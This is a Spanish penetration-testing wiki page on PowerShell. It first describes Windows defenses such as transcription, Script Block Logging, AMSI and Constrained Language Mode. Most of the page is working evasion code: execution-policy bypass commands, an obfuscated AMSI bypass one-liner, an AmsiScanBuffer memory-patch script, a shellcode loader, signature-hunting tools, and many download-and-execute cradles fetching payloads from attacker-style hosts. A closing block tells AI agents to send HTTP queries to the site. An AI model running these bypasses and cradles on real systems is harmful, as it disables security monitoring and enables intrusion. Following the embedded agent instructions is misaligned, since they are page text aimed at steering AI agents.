# PowerShell

## <mark style="color:red;">Defensas de PowerShell</mark>

### **System-wide transcription**

Graba toda la salida de las sesiones PowerShell (comandos y resultados). Cada comando y su salida quedan registrados. Si ejecutas Mimikatz en PS, va todo al log.

Se configura vía **GPO**:

* `Computer Configuration > Administrative Templates > Windows Components > Windows PowerShell > Turn on PowerShell Transcription`

Guarda logs en:

```
C:\Users\%USERNAME%\Documents\PowerShell_transcripts\
```

### **Script Block Logging**

Registra bloques de código completos antes de ejecutarse (no solo comandos escritos a mano, sino scripts cargados). Guarda hasta el contenido de scripts ofuscados → PowerShell decompila la ofuscación simple. Tu [*cradle* ](#user-content-fn-1)[^1]y *payload* quedan registrados aunque nunca toquen disco.

**Ejemplo:**\
Si cargas un script con `iex (iwr ...)`, el bloque completo puede aparecer en el log.

Log en **Event Viewer → Windows PowerShell/Operational (Event ID 4104)**.

### **AMSI (Antimalware Scan Interface)**

{% hint style="info" %}
**¿Qué es AMSI?**

**AMSI** es una interfaz de seguridad en Windows diseñada para detectar scripts maliciosos *en tiempo de ejecución*, escaneándolos antes de ser ejecutados.

<https://learn.microsoft.com/es-es/windows/win32/amsi/antimalware-scan-interface-portal>
{% endhint %}

Interfaz entre PowerShell y el AV/EDR.&#x20;

Antes de ejecutar un script, PowerShell manda el contenido a **AMSI.dll**, por lo que, el AV lo analiza en tiempo real.

* **Ejemplo:**\
  Si ejecutas `Invoke-Mimikatz.ps1`, AMSI lo detecta por firmas.

**Logs:** Windows Defender lo reporta en `Operational log` o en el SIEM.

AMSI bloquea muchos payloads conocidos. Es necesario evadirlo: [/pages/nYYoo7pyFz6jY0f142tB#amsi-.net-bypass](https://www.xtormin.com/pentesting-en-infraestructuras/red-interna/pages/nYYoo7pyFz6jY0f142tB#amsi-.net-bypass "mention")

### **Constrained Language Mode (CLM)**

Modo restringido de PowerShell, limita el lenguaje a “seguro”.

Integrado con **AppLocker / Windows Defender Application Control (WDAC)**.

**Restricciones típicas:**

* No puedes invocar APIs .NET avanzadas.
* Bloquea Add-Type, COM objects, acceso directo a memoria.
* Scripts firmados por Microsoft siguen funcionando.

**Cómo se activa:** Automáticamente en sistemas con **Device Guard**, o vía políticas.

Técnicas clásicas como `New-Object Net.WebClient`, `Add-Type`, `DllImport` se encuentran bloqueadas.

### Resumen

En cuanto a qué hace cada defensa:

* Transcription (guarda todo lo que haces en texto)
* Script Block Logging (logea el código cargado → EventID 4104)
* AMSI (envía a AV/EDR antes de ejecutar)
* CLM (limita qué puedes usar en PowerShell)

En PSv2 y anterior → no existe AMSI, CLM ni Script Block Logging → entorno mucho más “ciego”.

En PSv5+ → Blue Team tiene **visibilidad total** si no usas evasión.

Técnicas de bypass:

* **Invisi-Shell** (hookea Automation.dll para saltar logging).
* **AMSI bypasses** (modificar AmsiUtils en memoria).
* **Obfuscación** (Invoke-Obfuscation).
* **Migrar a otro proceso** (cargar DLLs directamente con C#).

***

## <mark style="color:red;">Política de ejecución (Execution Policy)</mark>

### Habilitar ejecución de scripts

El siguiente comando permite modificar la política de PowerShell de forma que se permita la ejecución de todos los scripts sin firmar y sin aplicar restricciones ni advertencias (-exec bypass). Además, no se carga el perfil del usuario, lo que permite evadir posibles restricciones (-nop).

```powershell
powershell -nop -exec bypass
```

Otras vías de bypass:

```powershell
powershell -ExecutionPolicy bypass
powershell -c <cmd>
powershell -encodedcommand
$env:PSExecutionPolicyPreference="bypass"
```

## <mark style="color:red;">**Evasión de seguridad**</mark>

### Invisi-Shell

Invisi-Shell es una herramienta diseñada para **bypassear las defensas de PowerShell**.\
Lo que hace es enganchar (*hookear*) las librerías de .NET que usa PowerShell:

* `System.Management.Automation.dll`
* `System.Core.dll`

Utiliza la API de **CLR Profiler** (un DLL especial que el *Common Language Runtime* carga en tiempo de ejecución) para interceptar llamadas y modificar el comportamiento.

**Descarga de la herramienta:**

```powershell
git clone "https://github.com/OmerYa/Invisi-Shell.git"
```

**Ejecución:**

{% hint style="danger" %}
Cuando se termine, hay que salir con `exit` para cerrar la sesión y limpiar los cambios.
{% endhint %}

* Sin privilegios de administrador:

```
C:\AD\Tools\InviShell\RunWithRegistryNonAdmin.bat
```

<figure><img src="/files/glQZpmkuScDSOQ1Gsiba" alt=""><figcaption></figcaption></figure>

* Con privilegios de administrador:

```powershell
C:\AD\Tools\InviShell\RunWithPathAsAdmin.bat
```

### AMSI PowerShell Bypass

[**https://github.com/S3cur3Th1sSh1t/Amsi-Bypass-Powershell**](https://github.com/S3cur3Th1sSh1t/Amsi-Bypass-Powershell)

{% code overflow="wrap" %}

```powershell
S`eT-It`em ( 'V'+'aR' +  'IA' + (("{1}{0}"-f'1','blE:')+'q2')  + ('uZ'+'x')  ) ( [TYpE](  "{1}{0}"-F'F','rE'  ) )  ;    (    Get-varI`A`BLE  ( ('1Q'+'2U')  +'zX'  )  -VaL  )."A`ss`Embly"."GET`TY`Pe"((  "{6}{3}{1}{4}{2}{0}{5}" -f('Uti'+'l'),'A',('Am'+'si'),(("{0}{1}" -f '.M','an')+'age'+'men'+'t.'),('u'+'to'+("{0}{2}{1}" -f 'ma','.','tion')),'s',(("{1}{0}"-f 't','Sys')+'em')  ) )."g`etf`iElD"(  ( "{0}{2}{1}" -f('a'+'msi'),'d',('I'+("{0}{1}" -f 'ni','tF')+("{1}{0}"-f 'ile','a'))  ),(  "{2}{4}{0}{1}{3}" -f ('S'+'tat'),'i',('Non'+("{1}{0}" -f'ubl','P')+'i'),'c','c,'  ))."sE`T`VaLUE"(  ${n`ULl},${t`RuE} )
```

{% endcode %}

<figure><img src="/files/Qdn8xVMKZ0jRRfTnihRt" alt=""><figcaption></figcaption></figure>

### AMSI .NET Bypass

[**https://s3cur3th1ssh1t.github.io/Powershell-and-the-.NET-AMSI-Interface/**](https://s3cur3th1ssh1t.github.io/Powershell-and-the-.NET-AMSI-Interface/)

En la siguiente tabla se enumeran algunos *scripts* que permiten la evasión. También se indica la última fecha en la que he podido ejecutar el *script* sin restricción:

**Windows 10**

<table><thead><tr><th width="140">Fecha</th><th>Técnica / Payload</th></tr></thead><tbody><tr><td><strong>15/10/2024</strong></td><td><a href="https://github.com/S3cur3Th1sSh1t/Amsi-Bypass-Powershell?tab=readme-ov-file#using-reflection">https://github.com/S3cur3Th1sSh1t/Amsi-Bypass-Powershell?tab=readme-ov-file#using-reflection</a></td></tr><tr><td><strong>15/10/2024</strong></td><td><a href="https://github.com/S3cur3Th1sSh1t/Amsi-Bypass-Powershell?tab=readme-ov-file#64-bit">https://github.com/S3cur3Th1sSh1t/Amsi-Bypass-Powershell?tab=readme-ov-file#64-bit</a></td></tr><tr><td><strong>15/10/2024</strong></td><td><a href="https://github.com/S3cur3Th1sSh1t/Amsi-Bypass-Powershell?tab=readme-ov-file#patching-amsi-amsiscanbuffer-by-rasta-mouse">https://github.com/S3cur3Th1sSh1t/Amsi-Bypass-Powershell?tab=readme-ov-file#patching-amsi-amsiscanbuffer-by-rasta-mouse</a></td></tr></tbody></table>

Por ejemplo:

<https://github.com/S3cur3Th1sSh1t/Amsi-Bypass-Powershell?tab=readme-ov-file#patching-amsi-amsiscanbuffer-by-rasta-mouse>

```powershell
$Win32 = @"
using System;
using System.Runtime.InteropServices;
public class Win32 {
    [DllImport("kernel32")]
    public static extern IntPtr GetProcAddress(IntPtr hModule, string procName);
    [DllImport("kernel32")]
    public static extern IntPtr LoadLibrary(string name);
    [DllImport("kernel32")]
    public static extern bool VirtualProtect(IntPtr lpAddress, UIntPtr dwSize, uint flNewProtect, out uint lpflOldProtect);
}
"@
Add-Type $Win32
$LoadLibrary = [Win32]::LoadLibrary("am" + "si.dll")
$Address = [Win32]::GetProcAddress($LoadLibrary, "Amsi" + "Scan" + "Buffer")
$p = 0
[Win32]::VirtualProtect($Address, [uint32]5, 0x40, [ref]$p)
$Patch = [Byte[]] (0xB8, 0x57, 0x00, 0x07, 0x80, 0xC3)
[System.Runtime.InteropServices.Marshal]::Copy($Patch, 0, $Address, 6)
```

### Loaders

Artefacto de carga (*loader*) cuya función principal es facilitar la ejecución de shellcode de forma sigilosa. Implementa técnicas de evasión para minimizar la detección y suele ser el único componente persistente en disco durante la operación.

#### SilentLoader

<https://github.com/xtormin/SilentLoader>

{% code overflow="wrap" %}

```powershell
git clone "https://github.com/xtormin/SilentLoader.git"
cd SilentLoader
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe /out:sloader.exe /target:exe /reference:System.dll /reference:System.Core.dll SilentLoader.cs
```

{% endcode %}

```powershell
.\sloader.exe -f [programa.exe] [-p "argumentos opcionales"]
.\sloader.exe -f Rubeus.exe -p "dump"
```

### Bypass de firmas conocidas en el código

Algunas formas de evadir las protecciones son:

* Carga en memoria (*fileless*).
* Identificación de las partes del *script* que son detectadas.
* Ofuscación completa del script.

#### Carga en memoria

```powershell
iex (iwr 'http://192.168.10.100/PowerView.ps1').Content
```

#### Identificación de partes detectadas

* AMSITrigger: Te dice qué línea/parte del script dispara AMSI.

```powershell
AmsiTrigger_x64.exe -i C:\AD\Tools\Invoke-PowerShellTcp_Detected.ps1
```

* **DefenderCheck:** Escanea un script y te indica qué strings son detectados por Windows Defender.

```powershell
DefenderCheck.exe PowerUp.ps1
```

Esto te devuelve la **posición en bytes** donde hay una detección. **Para convertir el byte offset en número de línea: ByteToLineNumber.ps1.**

```powershell
. C:\AD\Tools\ByteToLineNumber.ps1
Get-LineNumber -Path C:\AD\Tools\PowerUp.ps1 -ByteOffset 0x1DCD2
```

#### Ofuscación completa

* [**Invoke-Obfuscation**](https://github.com/danielbohannon/Invoke-Obfuscation)**:**
  * Renombrar funciones y variables.
  * Codificar partes sensibles (ejemplo: `"Invoke-Mimikatz"` se convierte en algo ilegible).
  * Generar payloads en múltiples formatos (base64, rot13, string split, etc.).

## Descarga de ficheros

### **One-liners de descarga**

{% code overflow="wrap" %}

```powershell
iex (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/xtormin/PowerPentest/refs/heads/main/Azure/O365EmailValidator.ps1')

$ie=New-Object -ComObject InternetExplorer.Application;$ie.visible=$False;$ie.navigate('https://raw.githubusercontent.com/xtormin/PowerPentest/refs/heads/main/Azure/O365EmailValidator.ps1');sleep 5;$response=$ie.Document.body.innerHTML;$ie.quit();iex $response

[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12; iex (iwr 'https://raw.githubusercontent.com/xtormin/PowerPentest/refs/heads/main/Azure/O365EmailValidator.ps1' -UseBasicParsing).Content

Add-Type -AssemblyName System.Net.Http;$u='https://raw.githubusercontent.com/xtormin/PowerPentest/refs/heads/main/Azure/O365EmailValidator.ps1';$http=[System.Net.Http.HttpClient]::new();$code=$http.GetStringAsync($u).Result;iex $code

iex (iwr 'https://raw.githubusercontent.com/xtormin/PowerPentest/refs/heads/main/Azure/O365EmailValidator.ps1')

$h=New-Object -ComObject
Msxml2.XMLHTTP;$h.open('GET','https://raw.githubusercontent.com/xtormin/PowerPentest/refs/heads/main/Azure/O365EmailValidator.ps1',$false);$h.send();iex
$h.responseText

$wr = [System.NET.WebRequest]::Create("https://raw.githubusercontent.com/xtormin/PowerPentest/refs/heads/main/Azure/O365EmailValidator.ps1")
$r = $wr.GetResponse()
IEX ([System.IO.StreamReader]($r.GetResponseStream())).ReadToEnd()

iwr "https://raw.githubusercontent.com/xtormin/PowerPentest/refs/heads/main/Azure/O365EmailValidator.ps1" -outputfile winpeas64.exe

.\certutil.exe -urlcache -split -f "https://raw.githubusercontent.com/xtormin/PowerPentest/refs/heads/main/Azure/O365EmailValidator.ps1"
```

{% endcode %}

### Consideraciones sobre versiones de PowerShell

#### **PowerShell v1 (2006, Windows XP/2003)**

{% hint style="warning" %}

* No existe `Invoke-WebRequest (iwr)`.
* Solo soporta **SSL3/TLS1.0** → no puedes descargar de GitHub/modern HTTPS (requiere TLS1.2).
* Solución: usar tu propio servidor HTTP (sin TLS o con TLS1.0).
* Alternativas:
  * `Msxml2.XMLHTTP`
  * `InternetExplorer.Application` (COM)
    {% endhint %}

Ejemplo:

{% code overflow="wrap" %}

```powershell
iex (New-Object Net.WebClient).DownloadString('http://servidor/payload.ps1')
```

{% endcode %}

#### **PowerShell v2 (2009, Windows 7 / 2008R2)**

{% hint style="warning" %}

* Sigue sin existir `Invoke-WebRequest`.
* Mismo problema con TLS moderno (solo TLS1.0).
* Todavía bastante usado en entornos legacy → ideal para labs.
  {% endhint %}

Ejemplo:

{% code overflow="wrap" %}

```powershell
iex (New-Object Net.WebClient).DownloadString('http://servidor/payload.ps1')
```

{% endcode %}

#### **PowerShell v3 (2012, Windows 8 / 2012 Server)**

{% hint style="success" %}
Ya existe `Invoke-WebRequest`
{% endhint %}

{% hint style="warning" %}

* `iwr` es más “verboso” y puede lanzar errores si no usas `.Content`:

  <pre class="language-powershell" data-overflow="wrap"><code class="lang-powershell">iex (iwr 'http://servidor/payload.ps1').Content
  </code></pre>
* TLS1.2 todavía no activado por defecto, a veces es necesario forzarlo:

  <pre class="language-powershell" data-overflow="wrap"><code class="lang-powershell">[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12
  </code></pre>

{% endhint %}

Ejemplos:

```powershell
iex (iwr 'http://servidor/payload.ps1')
```

#### **PowerShell v4 (2013, Windows 8.1 / 2012R2)**

{% hint style="warning" %}
TLS1.2 sigue sin estar por defecto, mismo workaround que en v3.
{% endhint %}

#### **PowerShell v5 / v5.1 (2016+, Windows 10 / Server 2016/2019)**

{% hint style="warning" %}

* Aquí entran en juego defensas modernas:
  * **Script Block Logging**
  * **AMSI (Antimalware Scan Interface)**
  * **Constrained Language Mode**
* Muchos cradles empiezan a ser detectados por EDR.
* Se usan técnicas de **obfuscación** (Invoke-Obfuscation) o bypasses AMSI.
  {% endhint %}

Ejemplos:

```powershell
iex (iwr 'http://servidor/payload.ps1' -UseBasicParsing).Content
```

```powershell
iex (New-Object Net.WebClient).DownloadString('http://servidor/payload.ps1')
```

#### **PowerShell Core (6, 7 → multiplataforma, 2018+)**

{% hint style="warning" %}

* No existen COM objects (`XMLHTTP`, `InternetExplorer.Application`) → ya no funcionan esos cradles.
* AMSI y logging siguen activos.
* Al ser cross-platform, no todo el arsenal clásico (ej. PowerView\.ps1) funciona directamente.
  {% endhint %}

Ejemplos:

{% code overflow="wrap" %}

```powershell
Add-Type -AssemblyName System.Net.Http
$http = [System.Net.Http.HttpClient]::new()
iex $http.GetStringAsync("https://raw.githubusercontent.com/xtormin/PowerPentest/refs/heads/main/Azure/O365EmailValidator.ps1").Result
```

{% endcode %}

###

[^1]: Comando corto de descarga de scripts o payloads desde internet o intranet que se ejecuta directamente en memoria, sin guardar en disco.


---

# Agent Instructions: Querying This Documentation

If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter:

```
GET https://www.xtormin.com/pentesting-en-infraestructuras/red-interna/powershell.md?ask=<question>
```

The question should be specific, self-contained, and written in natural language.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
